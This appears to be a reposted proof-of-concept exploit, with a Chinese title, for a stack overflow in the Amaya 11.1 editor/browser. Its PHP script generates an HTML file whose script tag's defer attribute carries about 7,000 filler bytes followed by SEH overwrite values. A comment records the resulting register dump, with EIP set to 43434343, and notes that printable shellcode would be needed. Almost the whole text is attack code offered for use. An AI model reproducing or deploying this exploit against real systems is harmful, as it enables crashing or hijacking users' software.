W3C Amaya HTML script标签栈溢出漏洞

<?php /**//* Amaya 11.1 W3C\'s editor/browser Stack Owerflow POC Discover by Alfons Luja Thx : OiN select * from friends -- This stUff overwrite SEH in my box XP home sp 2 To correctly overwrite seh you must upload \"remote_love.html\" to remote server Amaya allow only printable shellcode in this case EAX:00000000 ECX:43434343 EDX:7C9037D8 EBX:00000000 ESP:0012DDD0 EBP:0012DDF0 ESI:00000000 EDI:00000000 EIP:43434343 *//**/ $junk = \"\\x41\"; $n_seh = \"\\x42\\x42\\x42\\x42\"; //pointer to next seh $h_seh = \"\\x43\\x43\\x43\\x43\"; //seh handler for($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.=\"\\x41\"; } $junk.=$n_seh; $junk.=$h_seh; $hello = \"<script defer=\\\"\".$junk.\"\\\">\"; $hnd = fopen(\"remote_love.html\",\"w\"); if($hnd){ fputs($hnd,$hello); fclose($hnd); echo\"DONE !!\\n\"; } else { echo\"Kupa !!\\n\"; } ?> http://sebug.net/exploit/6085/